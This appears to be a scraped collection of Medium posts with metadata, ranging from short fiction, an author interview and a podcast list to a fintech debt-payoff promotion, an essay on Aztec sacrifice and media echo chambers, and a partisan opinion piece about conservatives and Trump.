“I don’t find this funny.” Mary Ellen huffed. She turned and went through the door. Hurried she walked towards the benches hell-bent on calling her sister and giving her a piece of her mind.
Figures Merrily would send a total stranger to fetch her. This despicable man must be her sister’s latest conquest. Mary Ellen lifted her valise and with care placed it on the bench. She swung her purse off her shoulder and placed it on top of the valise, once again started to rummage through it. This time searching for her phone.
Tears began to well up in her eyes. She didn’t want to be here. Back to this place that held so many dark memories. She stifled back a sob.
It’s only for the weekend. Only the weekend then you will never have to come back here again.
She found her cell and punched in her sister’s number. Tapping her foot she turned to the man who was walking towards her. Determination in his step. The phone rang on the other end and she turned her back to the man who was now standing before her, staring.
“Come on Merrily. Answer the damn phone.” She said through clenched teeth.
The phone continued to ring.
A recording clicked on and Mary Ellen could hear her sister’s loud drawl bark out of the phone. She hung up, slamming the phone into her leg.
She looked up into the blue eyes of the stranger. Startled she hadn’t noticed how blue his eyes were. They stood out, piercing against his sun-beaten face. She sighed defeated.
“Where is she?” She asked him, trying not to let her shoulders slump. The man stood silent for a moment. Looking her over once again. She forgot how it uses to be. When others saw her for the first time. How shocked they were.
“Something came up,” he replied speaking slow. It was plain to see he was trying to make sense of what he was seeing.
Mary Ellen resigned cocked her head to the side and blew out air.
“We’re twins. Identical Twins”
“She never,” He couldn’t stop staring at her.
Mary Ellen tried to avert her eyes. It had been a long time since she and her sister had spent any time together. Let alone a place where they would be mistaken for each other.
“Figures.” Mary Ellen blurted out. “My sister loves surprises.” She lowered her sunglasses down her nose and gazed at him. “Are you suppose to drive me home?”
Home
Now that was a word she normally would not use when referring to the house she and Merrily grew up in. No. Home represented comfort and security. A loving mother and father who cherished and protected their children.
Safety.
That was never the house she and her sister grew up in. No. It was a house to run from as far away as you could.
That is what she did. She ran. The moment she turned 18 years old. She hopped on a bus with all the money she earned working odd hours at the Library. Which would end up being her career.
She had escaped this place. This family she did not ask to be born in but was thrown headfirst into anyway.
Now she was back. She shuddered thinking about it.
She pushed her glasses back up her nose and stood mute, waiting for a reply from the dark-haired stranger.
“Ya-Ya” he stuttered patting his jean jacket. He reached into a pocket and took out a jumble of keys attached to a chain. He jiggled them with a silly grin on his face. “Lets rock and roll” | https://medium.com/illumination-curated/mary-ellen-goes-home-part-1-7d71df5929e0 | ['Deena Thomson'] | 2020-12-26 03:56:11.565000+00:00 | ['Fiction', 'Novela', 'Writing', 'Fiction Writing', 'Short Story'] |
Side Hustle: Leaders in Tech, On and Off the Clock (Part 3 — Evette Cordy) | Did the business (Agents of Spring) inspire the book or did the book inspire the business?
The book is really a culmination of the work and a conceptualization of the work I’ve been doing for the last 20 years. But the spark for the book came at the end of 2016 when Troy and I went to NY for the Fast Company Innovation Conference. I’ve always wanted to write a book. I’d had a crack at a book nearly 10 years ago which never eventuated. At that conference, I attended an intimate session with the CMO of Sonos, as well as sessions with IBM and a number of design and innovation agencies, and the word I kept writing down was “curiosity” — that was a key ingredient to all of their successes. But even before then, I had been commissioned by a client to run a “Curiouser and Curiouser” workshop and I had run a fully curated 2-day workshop on Curiosity so I had already started applying the mindset with clients. I woke up in the middle of the night one night and was searching domain names and thinking about what the book would be called. And that’s when I started thinking about actually writing this book — who do I need to talk to and how do I make this happen?
You said you tried to write a book 10 years ago. What was different about this time compared to the last time?
The book I was going to write…I did write 30,000 words. It was about running and pregnancy. The mistake I made back then was that I just wrote. I wrote stories and I was trying to be interesting and never really sat down and had a plan. I didn’t use my own process! What’s my plan? What problems do people need solving? What are the ideas I want to communicate? What are the stories that I have to share? The key difference this time was that I engaged an editor — someone who had worked with a number of business authors; someone who could help me structure my thoughts. She made it so much better in terms of the process, and the outcome — there were so many things I hadn’t thought about the first time and she helped to play a coaching role in the process.
So you made a commitment to yourself to write this book — but you’re also trying to run a business, trying to be a good mother, a good wife, get your runs in — how did you balance all of that?
I wouldn’t say that I balanced anything. It nearly broke me. There was a point in the process where I thought “I don’t think I can finish this”. I would get up at 5:30 some mornings to write. Or we’d go and visit my parents on the weekend and I’d sit in the car typing the 4-hour car ride to their place. Or Troy had a weekend away to visit his cousin in Sydney, and he took the kids and I had a whole weekend…a WHOLE weekend to write…and guess what? I produced nothing!!! Every week I had to deliver 4,000 words to the editor. Every week, if it was due at 10am, I’d be sending it to her at 9:55am because I’d somehow managed to jam it into my week. In my acknowledgements in the book, I wrote, “it takes a lot of pressure to produce diamonds” and I definitely felt that pressure, but I’m also really happy with the result. The book did come at a cost in terms of time with the kids. They’d say “Mum, haven’t you finished writing that book yet?”. It was difficult and I don’t think it was sustainable. The writing process took about 4 months of intensive writing with some rewriting of chapters and editing at the end. It wasn’t easy.
What did “success” for this book look like to you?
I didn’t have an expectation of what success would look like for this book. You can walk into any bookstore in Australia and buy or order a copy. Or you can order it from our website. I didn’t have an expectation of how many books I needed to sell for it to feel like a “success”. But I’ve been pleasantly surprised at how well it’s gone. I didn’t write a book to become rich from writing a book. I didn’t write a book to become a full-time writer. It’s a side hustle so I don’t want to be discarding all the other work I do. If I did, I’d be bored! I write content and do podcasts and have more speaking engagements now because of the book and it has definitely given everything else I do some credibility so that’s great. But it’s not my ambition to become a full-time speaker or a writer.
I saw that you have an endorsement from Seth Godin. How did that happen?
When I was writing this book I had thought to myself, how do people get Seth Godin to endorse their book? I went to his site and saw that it said to send him an email and that he would answer all his emails personally, so I thought why not? So it was a Friday night and I’d had a glass of wine to give myself a little confidence. I sent him an email with the subject, “Are you curious?” and sent him a chapter of my book. He wrote back within 5 minutes saying he couldn’t promise anything but that he would take a look at the book when it was finished! It was about a month later that I sent him a finished copy of my book and I sent him an email with the subject line “Are you still curious?”. The next morning, he had already read it, written back and had challenged some things in my introduction. I, of course, was thinking “Oh my God, he hates it!” so I sat on his feedback for a little bit. Eventually, I made some amendments and sent it back to him. The next morning he had written back and sent me a testimonial for the front cover of the book! I know that some people are going to read it and dislike it and that’s ok. But it was pretty cool to have an endorsement from Seth Godin.
How has it helped your primary job, as Co-founder of Agents of Spring?
It’s been great for bringing more credibility to the consulting work that we do. It’s like an expensive business card. Giving clients a copy of the book…there’s a sense of value and credibility that comes with that. I’m keen to explore how to take it further. One idea is to take it into an experiential online program and another avenue I’m thinking of is to create some curiosity experiences around the world.
What do you think writing this book has done to progress you as a leader in this space?
I don’t want to call myself a “thought leader” — that’s not what I want to be known as. But it’s built confidence and credibility in talking about innovation.
Now that you’ve finished this book, how has it changed your life?
Writing this book forced me to hold a mirror up to myself, and made me more self-aware of my own strengths and weaknesses. A curiosity mindset that I struggle with the most is the zen-master — allowing stillness and to be in the present moment. It is something that I have to work hard at every single day. For example, I’ve set myself a target this year to read 52 books, forcing a habit of stillness into my daily life. I’m also more comfortable being more vulnerable when I’m speaking in public or with a client, whereas I wasn’t in the past. In writing this book, I put myself out there and showed the inside of my brain and that was hard for me. I have a lot to say and I used to be more hesitant about putting it out there because…people can be nasty. Writing this book was a very vulnerable process and it’s definitely made me more open to putting myself out there.
So you’ve completed this side hustle. You’ve published the book and it’s out there. What do you think is going to be your next side hustle?
I definitely want to write another book. I have a few ideas in my mind. One is in the creativity space. The other one is on the Shit Bird. In the innovation process, one of the things that gets in our way is the Shit Bird. It’s your inner critic that sits on your shoulder and shuts down your creativity or thinking before you’ve even verbalized it. Or it could be the external Shit Bird — have you ever been in a meeting and sharing an idea when a Shit Bird walks into the meeting and shits all over it? You see the Shit Bird a lot and it gets in our way of innovating. I have this idea for the book where you flip through the pages and see the Shit Bird shitting everywhere. Just a working idea at this stage! | https://medium.com/@yoko.senga/side-hustle-leaders-in-tech-on-and-off-the-clock-part-3-evette-cordy-a31dd66ce0ce | ['Yoko Senga'] | 2020-03-18 19:27:14.649000+00:00 | ['Authors', 'Innovation', 'Side Hustle', 'Women Leaders', 'Leadership'] |
PW3 — Reflection on Amal Totkay. Although I had a general awareness of… | Although I had a general awareness of the stated tips, but it was reaffiriming to read about them again and acted as a prompt to identify which areas of my life am I lacking the application of the 5 tips.
Self Talk — As someone who journals regularly, self-talk is nearly a habit of mine. When I write about my experiences, I listen to myself like an intimate listener, I do not get impatient with myself, and I feel heard. Along with that, attached is a list of positive & personal affirmations that I wrote in Oct. 2020 & try to read every morning (because if I am not being kind to myself then how can I expect others to do that?).
My Current Affirmations
My Current Journal
Comfort Zone — I constantly try to challenge myself to expand my comfort zone & getting used to the process of doing it by initiating conversations with people around me whom I admire, hosting live online sessions, moderating meetings, etc.
New Habits — I realise that commiting to attend Amal Sessions on the weekend, putting in extra work hours throughout the week for PWs, and keeping in touch with Amal fellows are some of the recent new habits that I have been developing recently.
Ask for Help — This is an area where I have identified limited application for myself. I have always had trouble asking for help and have considered it a weakness only when I do it & not when other do it. But recently, I have been trying to incorporate more of it by reaching out to people I trust for help when in need e.g., when I need someone to make chai for me during a headache.
Fake It Till You Make It — I find this tip especially helpful in scenarios when I need to show confidence. Even when I am anxious inside, I try to put up a composed front & fake being confident until I feel so.
Out of all the tips, my most favourite ones have to be Self Talk, Asking for Help, and, Fake It Till You Make It, as these are the domains where I find myself getting most benefits in terms of clarity, action, and self-care.
I can keep applying these tips to my fellowship particularly to strengthen my neural pathways in terms of transforming these tips into developed habits. | https://medium.com/@fatima-tanvir171/pw3-reflection-on-amal-totkay-e69376a60e07 | ['Fatima Tanvir'] | 2020-12-26 02:12:28.665000+00:00 | ['Amal Academy', 'Amal Fellowship'] |
12 Empowering Podcasts for Children’s Book Writers and Illustrators: | 12 Empowering Podcasts for Children’s Book Writers and Illustrators:
Source: freedesignfile.com
Writers and illustrators, we are home but not alone! To hear fascinating people discuss their creative process, the obstacles they face, and their hard-won literary achievements, connect to a podcast on your cellphone or computer and float away.
These twelve podcasts, geared towards kidlit creators and aficionados, supply book reviews, interviews, and endless motivation to read and write on.
(Hosted by acclaimed librarian Matthew Winner)
Enjoy engaging interviews with authors and illustrators about the origin of their children’s books and the impact on readers.
(Hosted by Matthew Winner and author Karina Yan Glaser)
This new podcast from Book Riot connects the best of children’s literature with important current events.
(Hosted by author Sara Zarr)
Candid author talks capture the “practical and psychological aspects of creativity, the creative process, and the strange landscape where art meets commerce.”
(Hosted by literary agent Jennifer Laughran)
Get insider advice on the children’s publishing industry as Jennifer chats with authors, editors, art directors, other agents, and marketing professionals.
(Hosted by author and producer Yin Chang)
This podcast takes on the challenges of a creative life, such as dealing with rejections, querying agents and editors, and finding joy in the writing process.
(Hosted by journalist Theo Baker)
Become a member of the Society of Children’s Writer’s and Illustrators to hear informative conversations with leaders in the children’s book field.
(Hosted by author Sarah Enni)
Interviews with professionals at all stages of the publishing process aim to give new and experienced writers a better sense of the creative and emotional endurance required to succeed.
(Hosted by author Nick Patton)
Nick loves picture books and the positive effect they have on children. Tune into his entertaining interviews with children’s book authors and illustrators.
(Hosted by librarian Travis Jonker and teacher Colby Sharp)
Each episode by this dynamic duo explores with an author or illustrator how a book for young readers was made.
(Hosted by editor Emma Kantor)
This children’s book editor of Publishers Weekly conducts smart, 20-minute interviews with kidlit authors who have recently published a book.
(Hosted by author Katie Davis)
These episodes, mostly for aspiring children’s writers, focus on how to write children’s books and magazine articles, and how to get paid and published.
(Hosted by illustrators Will Terry, Lee White, and Jake Parker)
Three professionals with backgrounds in animation and kidlit discuss all aspects of developing art skills and growing a career in illustration.
Did I skip any kidlit podcasts you admire?
Share here, tweet me @bylinetd on Twitter, or reach me at teri-daniels.com. | https://writingcooperative.com/12-empowering-podcasts-for-childrens-book-writers-and-illustrators-e345d12d7525 | ['Teri Daniels'] | 2020-12-19 14:03:42.338000+00:00 | ['Childrens Books', 'Writing Life', 'Illustrator', 'Writing Tips', 'Podcast Recommendations'] |
How to see past this season’s frenzy — Bright Money | How to see past this season’s frenzy — Bright Money
Drowning of debt
You’re not alone. Overspending at the holidays is all too common. But it’s not too late to take back the season.
Old habits die hard
This year, Black Friday online sales dipped for the first time ever. But not by much. Together, we still spent $8.9 billion (down from $9 billion in 2020).
As we head into the holidays, retailer trade groups report “ tremendous momentum,” and consulting group Deloitte predicts the average household will spend 5% more than last year on the holidays ($1,463 per household).
Spending habits die hard, despite major obstacles this year: inflation is rampant common purchases, prices are rising faster than they have in 30 years, and due to stressed supply chains, 3 out of 4 shoppers will probably spend more money earlier to beat expected stock outs.
With the added uncertainty of the pandemic’s next phase, it’s remarkable traditional behaviors persist:
Are the holidays a spending juggernaut we’re all helpless to stop? If you’re already under heavy holiday debt, it’s hard to believe anything else.
The numbers are skewed
But a close look at the statistics shows a serious skew: upper income families are spending more — up to 5 times more than low income families — creating a spending gap that tilts the average. More spending by the wealthy masks the reality that many Americans are, in fact, not spending as much.
That gap is a reflection of our wealth inequities. But it’s also evidence that many of us either can’t or don’t want to take on holiday debt.
More Americans are skipping gifts
In fact, more Americans are opting out. In a recent poll, 11.5% of Americans say they won’t buy gifts this holiday, a record number for the season.
Buy Nothing Day, the Saturday after Black Friday, added two million supporters in 2021, likely in response to inflation and supply chain frustrations as well as heightened environmental concerns.
The frenzy is escapable
With those trends in mind, the holidays aren’t destined to be open-wallet free-for-all. Overspending isn’t inevitable, despite the pressures many of us feel.
Look for alternatives to spending. Arrange simple pleasures instead, like ice skating or a museum visit or inexpensive game tickets. If you can share the experience, it’s a gift for both yourself and the recipient.
Due to pandemic restrictions, many of us were forced to celebrate the holidays far from friends and families last year. It was a holiday when many of us learned to prioritize the time we spend with loved ones.If you’re reuniting this year, emphasize your connected time together.
Join a group. Find counsel. Pick up some tips for dealing with holiday stress. Hucksters abound, but support groups on social media can provide real relief. Listen to others, and share how you’re feeling.
In a CNN.com post, author James MacKinnon adds an environmental angle to the season’s pressures: “The consumer dilemma is the idea that the planet clearly needs us to reduce our consumption, but our economy needs us to consume more and more every year.” We’re pressured to both spend more and consume less, an extra, complicated bind this year.
But regardless of the pressure, big or small, when we’re mindful of the stress that triggers bad habits, like overspending, we can start to think clearly, avoid going overboard and return to what the holidays are really about.
Getting out of debt is real
If you’re struggling with debt, it can be tough to see past it. When the numbers pile up, it’s hard to think straight.
But there are practical steps you can start taking now, during the holidays or as soon as you’re ready.
A proven, regular system for paying off debts can make all the difference. Millions of Americans swear by them. They’ve helped scores of people get debt-free. The most popular methods are “ snowball” and “ avalanche.” The snowball method prioritizes credit cards with the lowest balances, while the avalanche method focuses on lowering your interest charges. Both require a little discipline and math.
See where your spending is really going. Some banks and credit card issuers categorize your spending, and several apps plug in to your accounts and track your behavior. You might be surprised how you’re spending your money. A little self-awareness can go a long way.
Rely on Bright to get debt-free
Bright can help you get you debt-free faster. Our MoneyScience™ AI studies your finances and analyzes your debt, looking at your APRs, balances and interest charges. Then Bright makes smart card payments for you, always on time and optimized to pay off your cards faster. Bright even adjusts as your finances shift.
Bright also offers two other solutions, Bright Credit Builder and Bright Balance Transfers. They’re smart alternatives, with competitive rates and built-in automation.
Bright Credit Builder is an easy and safe way to boost your credit score — with instant approval, no extra fees and no credit check required. Once you’re signed up, we’ll set up an interest-free, secured line of credit and use it to make automatic payments on your cards, building a positive payment history and lowering your credit utilization. Bright Credit Builder focuses on utilization and payment history because as they improve, your credit score goes up!
Bright Balance Transfer offers a low-interest line of credit designed to pay off card debt fast while saving you from high interest charges. Once approved, Bright uses the funds from your Bright Balance Transfer to pay off your high-interest cards, moving those debts to our balance transfer program with its lower APR. Over the months ahead, Bright automates your new repayments, too, so you pay less in interest and it’s hassle-free. Bright Balance Transfers offers credit lines of up to $10,000 at APRs starting from 9.95%, depending on your eligibility.
If you don’t have it yet, download the Bright app from the App Store or Google Play. Connect your checking account and your cards, set a few goals and let Bright get to work. Once you sign up, you can apply for Bright Credit Builder or Bright Balance Transfer or use MoneyScience™ to pay off your cards fast.
Recommended Readings:
How to get credit card debt relief
Quick ways to become debt free
Originally published at https://www.brightmoney.co. | https://medium.com/financial-planning-advice/how-to-see-past-this-seasons-frenzy-bright-money-63ee604045ae | ['Bright Money'] | 2021-12-30 10:06:09.633000+00:00 | ['Debt', 'Bright Money', 'Financial Planning', 'Personal Finance', 'Fintech'] |
😸 What NFTs mean for ETH | 😸 What NFTs mean for ETH
An under-appreciated part of its fundamental narrative
Ryan Sean Adams, Founder of Mythos Capital, posted a short but thought-provoking tweet storm this morning about non-fungible tokens (NFTs) and Ethereum that is worth reading:
I’ve been thinking more about the NFT opportunity lately and I don’t think it’s getting enough attention, maybe because it’s still pretty nebulous as a concept. But I happen to agree with Ryan that (1) NFTs could become a trillion dollar asset class, (2) Ethereum is best-positioned to win this category, and (3) NFT scaling is much closer than we think. I also like NFTs because they don’t carry much regulatory risk.
Above all else, NFT platforms need to optimize for immutability and censorship resistance. If they don’t, the digital analog of something like this isn’t possible —
Therefore Ethereum, which makes a number of tradeoffs in favor of security, makes a lot of sense as the platform best positioned to secure valuable NFTs when you think about it.
Finally, it’s also worth considering what underpinning a huge NFT economy could mean for ETH’s perception to investors as a store of value. I happen to think it will have a profound impact, which ties in nicely to our thesis at DTC that Store of Value will be a fragmented category with multiple long-term winners.
Crypto Kitties are just the first application!
Want this in your inbox every day? Here you go. Feedback is always welcome too — hit me up on Twitter! | https://medium.com/provably-neutral/what-nfts-mean-for-eth-23fc7d5b6a0b | ['Spencer Noon'] | 2018-04-13 16:51:10.598000+00:00 | ['Ethereum', 'Cryptocurrency', 'Crypto', 'Bitcoin', 'Blockchain'] |
Hey Crows, could you please pick up the trash ? | Densely populated urban areas not only attracts people seeking better job opportunities but also some of our avian friends. Could these friends help us in keeping our cities clean ?
With advancements in artificial intelligence — computer vision and detailed study of bird behavior we might get some help from our avian friends.
But why can’t humans clean up their own garbage ?
Have we become so lazy that we can’t pick our own garbage. This argument could be pursued further so as a society we educate and maintain healthy standards in terms of urban cleanliness. In reality the current densely populated areas are hugely chaotic and there is always scope for improvement in terms of urban cleanliness. Cleaning robots could be one answer in the future, but the question is could we get help from our curious avian friends.
Crows trained to pick up trash to teach humans a lesson
There are many examples from around the world where crows are trained to pickup trash for certain rewards like food. Could this behavior replicated across cities by designing a automated rewarding system for the crows ? The rewards could range from water, food to engaging in playful activities in exchange for waste deposited. The idea is the bird would pick up the waste like plastic bottle caps from public areas and deposit it to the dustbins.
Could crows help solve some of the urban cleanliness issues ?
Crows are considered smartest animal other than primates , and are attracted towards densely populated urban areas where garbage is often found littered around due to human negligence. Crows are often known to engage in activities beyond survival. Hence could automated and intelligent systems be designed to attract crows by rewarding their natural curiosity in exchange for helping keep the cities clean ? A more in-depth behavioral study to design such a rewarding mechanism could help support urban cleanliness.
The artificial intelligence ( AI) garbage pursuit
There are many initiatives under artificial intelligence projects to accurately detect and classify garbage and we may have have intelligent computer vision systems which can accurately identify , classify garbage. Hence coupling this garbage identification process with rewarding system design could successfully engage our avian friends in helping keep our cities clean.
Could other animals help in the pursuit ?
Photo by Tim Mossholder on Unsplash
The possibility of including crows in the urban cleanliness program opens up a question of inclusion of other relatively intelligent animals like seagulls . Could seagulls help with sea pollution clean up efforts ? Although behavioral pattern of birds differ vastly there could be a possibility to engage these birds for suitable rewards in return with the help in clean up efforts at the shores.
Conclusion
The urban landscape is not just inhabited by humans but many animals play an active part of this eco-system. Hence considering these animals as a possibility to help keep cities clean could be a worth pursuit leveraging latest innovations in artificial intelligence like computer vision and coupling this with an accurate animal behavioral model. | https://medium.com/@rohan-kumar-k/hey-crows-could-you-please-pick-up-the-trash-a78250385348 | ['Rohan Kumar K'] | 2020-12-24 03:31:42.016000+00:00 | ['Urban Planning', 'Birds', 'Machine Learning', 'Artificial Intelligence', 'Computer Vision'] |
What’s worth paying for with your dreams? | I wrote this on 23 April 2014. It was in my drafts and for some reason I did not publish it then… never underestimate the power of manifestation.
Seventy seven pages of heartrending stories. Of physical and emotional abuse. Of women who were not allowed to visit their dying child or parent. Of unkept contracts and dreams that dissipate. Of a government that fails to recognise the distress of the victims. And worst of all, the inhumanity of our kind. The victims maybe known to you. The perpetrators could well be you, your family or friend. It is us.
The report Amnesty released in the wee hours today is not for the faint of heart. But keep in mind, they interviewed just 52 of tens of thousands of workers.
It was a bitter-sweet realisation to find one of my earlier blog posts quoted in the document. As is the wont of the self-obsessed, I managed to find myself in the throes of self-pity — a punch in the gut: “That’s all? That’s what you have to show?”
A lot of small realisations are coming together for me at this point. I am not really doing what I want to do. I am not telling the kind of stories I know best to recount. I am no longer the reporter of human interest stories that I aspired to be 20 years ago. I appease my guilt with an occasional post or a story; but I’ve moved too far from that sense of purpose I held dear.
The girl who sat wide-eyed listening to safe sex advice from mothers at a creche for children of sex workers is now wondering why she is now paralysed by the profitability concerns of her employer.
Where’s that person who spent hours outside a ward in Madras Children’s Hospital to meet two under-aged maids who were beaten and burnt brutally. What happened to the Qatar newbie who sneaked into the paediatric wing of Hamad Hospital to speak to a little boy who fell off a camel at the races? She is now burying her head in matters that she thought was the route to success and wealth.
How wrong I was in thinking that. How wrong. It’s the bloody revenues and budgets that have lost me sleep for months now*.
Regrets are useless. Reflection is useful. Is this who I wanted to be? Conceiving communication strategy for corporates I don’t care about and struggling to keep press releases clear of the one job that gives me some amount of joy and satisfaction?
But bills have to be paid, no? The household has to run, yes? Now, it’s time to choose what’s worth billing. And to learn to run with simplicity. End of the day, what could possibly be worth paying for with your dreams? The shiny red machine I drive? Working in a fancy glass tomb? Measuring up to other people’s standards of good living?
Tough decisions all around. Good ones as well, I hope.
*Which I hope to be rid of come May 1.
One part of Adel Abdessemed exhibit in Mathaf, in 2013
Umm Oviya + Nilah = Mother of Oviya + Nilah. Because in the Arab world a woman is first addressed as bint X (daughter of X) and then once she has a son (Y) she is Umm Y. I am not sexist, so don’t mind surrendering my identity to my daughters. View all posts by UmmON
Published | https://medium.com/@vani-saraswathi/whats-worth-paying-for-with-your-dreams-9754c265e18c | ['Vani Saraswathi'] | 2020-12-22 16:38:12.655000+00:00 | ['Human Rights', 'Qatar', 'Women', 'Journalism', 'Migrant Rights'] |
Not Your Imagination — Society Is in Fact Going Insane, and I Can Prove It | All I need is some Aztecs and a Time Machine.
But since both are in short supply, I think perhaps some hypothetical Aztecs and an imaginary Time Machine will do nicely. Follow along, don’t worry, this is quick. We’re going to have a ten second overview of Aztec civilization, a quick romp through 1960s serial cartoons, and tie it together with a discussion of social media echo chamber mechanics to prove the thesis.
Aztecs
We in the United States are very focused on the impact colonization had on the native Americans, but because of our cultural myopia, we forget that the greatest North American culture to be wiped out by European expansion wasn’t here at all. It was south of the border.
Whereas most of the native Americans within and to the north of our current United States borders were either nomads or lived in small agricultural villages, the Aztecs were a thick, beefy, advanced society, with calendars, civil engineering infrastructure, and large-scale maize agriculture. They had an Emperor and royal families, expanded their borders through trade and violent wars, and had vassal states as far south as modern-day Guatemala. They had rigid social hierarchies, and an extremely uniform system of indoctrinations, which bound them together into a society that could achieve these things. Their Podunk tribal neighbors north of the border paled in comparison, and until the Spaniards showed up, they were growing. Colonizing, even. And the thread that bound this entire system together, was a religion based on human sacrifice.
Image credit: Wikimedia Commons
And boy oh boy did they sacrifice. By my research, this story we tell ourselves that the Aztecs sacrificed virgin girls to ensure the sun comes up is not only true, it barely scratches the surface of what they would do to get favor from the Gods.
Sacrifices for the Aztecs were detailed rituals but perhaps what makes them truly stand out is the scale in which they were conducted. During the reign of their empire, it’s estimated that an average of 200,000 people were sacrificed a year. Many rituals surrounded the theme of mass sacrifice, such as the inauguration of their greatest pyramid, which is said to have claimed the lives of 84,000 over a period of only four days. […] The Aztecs would bring large groups of children to Tlaloc’s temple, where they were forced to solemnly and ceremonially parade up the steps. If the children did not weep, they would be forced to do so by any means of psychological and physical torture necessary. To the Aztecs, the tears shed by these children on the way to their untimely deaths was the only way to ensure rain during the oncoming dry seasons. […] Another common sacrificial technique included pulling a still beating heart out of a victim’s chest and showing it to them in their last moments of consciousness, an act that took a surprising amount of anatomical knowledge and surgical skill but has since been proven possible by modern scientists. […] Other rituals included cannibalism, the live flaying of men, wearing of human skins, and other techniques of drawn-out dismemberment and bloodletting including the mass collection of skulls.
Recap: The Aztecs had a socially constructed indoctrination program that bound themselves together as a group which involved the ritual killing of virgins, children, adults, basically everybody, and this was completely normal to them. Beyond normal, it was essential.
Not doing it would be “crazy.”
So that brings us to step two of our thought experiment. What does “insanity” even mean?
Socially Constructed Insanity and the Wayback Machine
From the Oxford English Dictionary:
insane ADJECTIVE · 1 In a state of mind which prevents normal perception, behaviour, or social interaction; seriously mentally ill. ‘he had gone insane’
All of these blood-soaked Aztecs practicing ritual human sacrifice were sane, because sacrificing a quarter million people a year to appease various gods was a normal behavior for them, and their societal interactions demanded that behavior, because of their set of indoctrinated beliefs.
When Mr. Peabody and Sherman hopped in the Wayback Machine in the best cartoon ever, to travel back in time to meet important people and witness fabulous historical events, they never seemed to go to Tenochtitlan. Probably because Mr. Peabody was trying to raise a healthy boy, or because massive human sacrifice wouldn’t have made it past the NBC Standards and Practices department. But if they did visit the ancient Aztec homeland, they would have encountered a culture so foreign that it would be clearly insane. To them.
If they attempted to save a girl from the daily virgin sacrifice, the Aztecah would have found their interference to be evidence of a “state of mind preventing normal behavior,” and “preventing normal social interaction” at the pyramid of Quetzalcoatl. Mr. Peabody and Sherman were clearly the insane ones.
And if Mr. Peabody and Sherman drug one of these priests back through the time portal and into downtown Los Angeles, and that priest decided to take it on his own responsibility to ensure a virgin was sacrificed to appease the gods, that priest would be obviously diagnosed as mentally ill, because who could find a virgin in 1960s LA? (or the other more obvious yet less funny reason)
This is an absurd example, but it’s important to understand, because it highlights an overall mechanic within our social interactions. Humans are apes with white space into which indoctrinations are installed. And while the definition of “insane” may stay the same, its very definition ensures that the body of behaviors within each culture considered to be “insane” must necessarily be different. It’s almost tautological.
Curated Media Feeds
When I pull up Google on my phone, it feeds me a list of articles it thinks I’ll like, based on a history of things I’ve read prior. Of late, this has been a fusillade of gun control spam, accented with stories about Atlanta United, the new Star Wars movie, and Tinder screenshots from Reddit. But if I was a Flat Earther, I guarantee you my feed would be full of Flat Earth stuff. Feminists feeds are full of articles about how gender oppression is at all time highs, while Men’s Rights Activist feeds are full of stories about misandrist bitches behaving badly. Blue Tribe feeds are whatever flavor of “Trump pissed on a hooker” is being run this week, while Red Tribe feeds bemoan the rise of Marxist Communism.
Is any of this stuff real? If you identify with any of those tribes above, did my inclusion of your feed in the list of those “obviously insane” other feeds trigger you emotionally?
The Aztecs were indoctrinated from birth in a particular belief system, so the insane stuff they were doing became obviously sane. The curated media feed is indoctrinating all of us constantly into different belief systems, such that whatever feed we’re reading becomes obviously sane. And wherever it may be incompatible with someone else’s feed, that makes them insane. By definition.
And there’s your proof.
The further down the rabbit holes of curated media echo chambers our cell phones drag us, the more we all become insane, by everyone else’s perspective. Universally held mass insanities become sanities, like the Aztecs. But a system of thousands of divergent bifurcated micro-insanities becomes nothing but a bunch of people who literally can’t communicate with each other meaningfully.
A society that’s all going insane stops being a society at all. It is the destruction of everything that has ever been built.
It makes me question if the clicks are worth it. | https://medium.com/handwaving-freakoutery/not-your-imagination-society-is-in-fact-going-insane-and-i-can-prove-it-9a8136c544c1 | ['Bj Campbell'] | 2019-09-04 20:15:28.920000+00:00 | ['Psychology', 'Culture', 'Culture War', 'Media Criticism', 'Media'] |
About What Works | What Works is an invitation to in-depth, non-obvious thinking about small business in the digital world.
Our goal is to bring you a candid look at what’s actually going on under the hoods of successful small businesses.
You’ll find articles from the host of the What Works podcast, Tara McMullin, show notes on our podcast episodes, and contributions from What Works Network members. | https://medium.com/help-yourself/about-help-yourself-cocommercial-e0e02057ce1a | ['Tara Mcmullin'] | 2019-04-02 16:41:36.676000+00:00 | ['Small Business', 'Entrepreneurship'] |
Conservatives Can’t Deny They Are Responsible for Trump | Conservatives Can’t Deny They Are Responsible for Trump
They forced him into office, so they own him
Photo by Alex Haney on Unsplash
One of the downsides of writing a trending article is that you get to wake up each day to a plethora of deranged comments. It’s not my first day on the internet, and the vast majority of the responses are highly predictable. Some insult me, some try diagnose my “special kind of stupid,” and others simply disregard all reason and accountability. You know, poetic stuff like this:
Image courtesy of Walter Rhein
The latest article of mine that’s getting a lot of attention is one I wrote in response to a conservative who unleashed a racist and misogynist tirade when I dared to suggest Kamala Harris was “intelligent, competent, and charismatic.” You can read the whole story here:
The comments have been coming fast and furious. I’ve been quick to block all conservatives, Republicans and Trump supporters who want to bog me down in asinine debate. I’ve seen the vast majority of their tactics before. However, lately I’ve been fielding a lot of haughty declarations from conservatives who insist “it isn’t fair” that they be lumped in with Trump.
Yeah, conservatives are starting to claim that somehow they are the ones who are being forced to bear an unfair burden because of the racist, halfwit, traitor president that they got elected.
Give. Me. A. Break.
Let me just say that I am really not inclined to listen to conservatives whine about how it’s unfair that they are lumped in with Trump. Go tell it to St. Peter. As for me, you’re all guilty. But just for the folks that weren’t paying attention, let’s summarize.
Conservatives voted for Trump.
That’s the end of that argument. Any questions? Good, now never try to weasel out of it again. You own this.
Trump is a product of conservative philosophy
I find it cowardly, deceitful and insincere for conservatives to try and wriggle out of the fact that they hoisted Trump onto their shoulders and lathered his odious essence all over Capitol Hill cheering and snickering the whole time. It’s not like this was some accident, it took a lot of votes to get him there. True, not as many votes as Clinton got, but still a lot of votes.
Conservatives have been marching towards Trumpism for decades. He stands for all the stupid, authoritarian nonsense that gets conservatives frothing at the mouth. It’s the political philosophy of hypocrisy, and that whole side of the spectrum is rotten to the core.
I think the thing I find most offensive about conservatives is how they’re all such fake Christians. I mean, read the Bible. Jesus spends the whole time telling his disciples to be nice to the poor, heal the sick, and that the weak will inherit the Earth. But every time you go on social media, there’s another conservative posting a meme berating impoverished people, obstructing health care reform, and claiming that anyone having a hard time in life got there because of a series of bad choices.
It’s not a political philosophy, it’s abject cruelty and it’s morally depraved.
Newsflash jerk-wads, it turns out you were the ones making the bad choices and I don’t have any sympathy now that the rent has finally come due.
Hey conservatives, it’s not all about you
